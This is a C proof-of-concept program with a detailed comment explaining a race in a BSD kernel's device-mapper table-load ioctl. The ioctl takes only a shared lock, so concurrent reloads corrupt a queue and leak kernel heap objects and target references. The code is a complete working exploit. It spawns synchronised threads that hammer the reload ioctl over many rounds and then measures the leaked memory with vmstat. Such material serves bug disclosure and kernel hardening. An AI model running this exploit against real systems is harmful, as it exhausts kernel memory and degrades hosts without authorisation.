/*
 * DF-4473 PoC -- dm_table_load_ioctl mutates the inactive table while
 * holding only a SHARED table lock, so concurrent reload ioctls race
 * TAILQ_INSERT_TAIL and orphan table entries (permanent kernel heap +
 * dm_target refcount leak).
 *
 * Bug (sys/dev/disk/dm/dm_ioctl.c + sys/dev/disk/dm/dm_table.c):
 *   dm_table_load_ioctl():
 *     722:  if (dmv->flags & DM_INACTIVE_PRESENT_FLAG)
 *     723:      dm_table_destroy(&dmv->table_head, DM_TABLE_INACTIVE);
 *     726:  tbl = dm_table_get_entry(&dmv->table_head, DM_TABLE_INACTIVE);
 *     774:  TAILQ_INSERT_TAIL(tbl, table_en, next);   <-- mutation
 *   dm_table_get_entry() -> dm_table_busy():
 *     dm_table.c:65: lockmgr(&head->table_mtx, LK_SHARED);   <-- SHARED!
 *
 * Readers/writers are supposed to be separated by table_mtx, but load only
 * takes it SHARED, so N concurrent loads all append to the same TAILQ at
 * once.  TAILQ_INSERT_TAIL (sys/sys/queue.h:628) is four plain stores; when
 * two threads race the same tqh_last, the loser's entry is never linked in:
 * it is allocated, dm_target_busy()'d, and then forgotten -- no destroy path
 * can ever reach it.  Every orphan leaks sizeof(dm_table_entry_t) (M_DM)
 * plus a target reference (pins loadable target modules) plus any pdev
 * references taken by target init.
 *
 * The conditional destroy at :722-723 makes the race window conditional:
 * it only opens when DM_INACTIVE_PRESENT_FLAG is clear, i.e. right after
 * "clear" (dm_table_clear_ioctl) or "resume" (which clears the flag at
 * dm_ioctl.c:505).  The PoC therefore alternates clear <-> barrier'd
 * concurrent reloads.
 *
 * Observable: after the race, remove_all + final cleanup leaves the "dm"
 * malloc type with thousands of in-use objects that never drop (orphans),
 * vs ~0 at baseline.
 *
 * Privilege note: /dev/mapper/control is 0640 root:operator.  Run as root.
 *
 * Build: cc -o dm_loadrace dm_loadrace.c -lprop -lpthread
 * Run:   ./dm_loadrace [threads] [rounds] [entries]
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df4473dev"

static int
send_ioctl(int fd, prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
create_dev(int fd)
{
	prop_dictionary_t dict = new_dm_dict("create");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static int
clear_inactive(int fd)
{
	prop_dictionary_t dict = new_dm_dict("clear");
	int rv;

	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static int
remove_all(int fd)
{
	prop_dictionary_t dict = new_dm_dict("remove_all");
	int rv;

	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

/* One reload carrying `nents' error-target entries. */
static int
do_reload(int fd, int nents)
{
	prop_dictionary_t dict = new_dm_dict("reload");
	prop_array_t arr;
	int i, rv;

	arr = prop_array_create();
	for (i = 0; i < nents; i++) {
		prop_dictionary_t ent = prop_dictionary_create();
		prop_dictionary_set_cstring(ent, DM_TABLE_TYPE, "error");
		prop_dictionary_set_uint64(ent, DM_TABLE_START, i);
		prop_dictionary_set_uint64(ent, DM_TABLE_LENGTH, 1);
		/* error target has no init(); params must merely be non-NULL */
		prop_dictionary_set_cstring(ent, DM_TABLE_PARAMS, " ");
		prop_array_add(arr, ent);
		prop_object_release(ent);
	}
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, arr);
	prop_object_release(arr);
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	rv = send_ioctl(fd, dict);
	prop_object_release(dict);
	return rv;
}

static int nthreads = 6;
static int rounds = 400;
static int nents = 16;
static int round_no = -1;
static pthread_barrier_t barrier_go, barrier_done;
static int stop_now = 0;
static long ok_reload = 0, err_reload = 0;

static void *
worker(void *v)
{
	int fd = *(int *)v;
	int my_round = 0;

	while (!stop_now) {
		pthread_barrier_wait(&barrier_go);
		if (stop_now)
			break;
		if (do_reload(fd, nents) == 0)
			__sync_fetch_and_add(&ok_reload, 1);
		else
			__sync_fetch_and_add(&err_reload, 1);
		my_round++;
		pthread_barrier_wait(&barrier_done);
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th[64];
	int fd, i, rv;
	char line[256];
	long inuse_before = -1, mem_before = -1, inuse_after, mem_after;
	FILE *f;

	if (argc > 1) nthreads = atoi(argv[1]);
	if (argc > 2) rounds = atoi(argv[2]);
	if (argc > 3) nents = atoi(argv[3]);

	/* baseline: nothing dm-allocated yet (module just loaded) */
	f = popen("vmstat -m | grep -E '^dm[[:space:]]' || true", "r");
	if (f) {
		if (fgets(line, sizeof(line), f))
			printf("[baseline M_DM] %s", line);
		pclose(f);
	}

	fd = open(DM_CONTROL_DEV, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
		return 1;
	}
	rv = create_dev(fd);
	printf("[*] create '%s': rv=%d (%s)\n", DEV_NAME, rv,
	    rv ? strerror(rv) : "ok");

	pthread_barrier_init(&barrier_go, NULL, nthreads + 1);
	pthread_barrier_init(&barrier_done, NULL, nthreads + 1);
	for (i = 0; i < nthreads; i++) {
		if (pthread_create(&th[i], NULL, worker, &fd) != 0) {
			fprintf(stderr, "[!] pthread_create %d FAILED -- "
			    "aborting (barrier would deadlock)\n", i);
			exit(2);
		}
	}

	for (round_no = 0; round_no < rounds; round_no++) {
		/* flag is clear at start: all loads will skip :722 destroy */
		pthread_barrier_wait(&barrier_go);
		pthread_barrier_wait(&barrier_done);
		clear_inactive(fd);
		if ((round_no % 50) == 49)
			printf("    ... round %d/%d (ok=%ld err=%ld)\n",
			    round_no + 1, rounds, ok_reload, err_reload);
	}
	stop_now = 1;
	pthread_barrier_wait(&barrier_go);
	for (i = 0; i < nthreads; i++)
		pthread_join(th[i], NULL);

	/* full cleanup: drop the device itself */
	clear_inactive(fd);
	rv = remove_all(fd);
	printf("[*] remove_all: rv=%d (%s)\n", rv, rv ? strerror(rv) : "ok");

	/* The orphaned entries can never be freed: M_DM stays populated */
	f = popen("vmstat -m | grep -E '^dm[[:space:]]' || true", "r");
	if (f) {
		if (fgets(line, sizeof(line), f)) {
			printf("[after-race M_DM] %s", line);
			if (sscanf(line, "%*s %ld %ld", &inuse_after,
			    &mem_after) == 2)
				printf("[*] post-cleanup dm malloc: "
				    "InUse=%ld MemUse=%ld (orphans)\n",
				    inuse_after, mem_after);
		} else
			printf("[after-race M_DM] (no dm line)\n");
		pclose(f);
	}
	printf("[*] reload stats: ok=%ld err=%ld; expected entries freed "
	    "via clear/remove_all; any residual InUse == leaked orphans\n",
	    ok_reload, err_reload);
	close(fd);
	return 0;
}
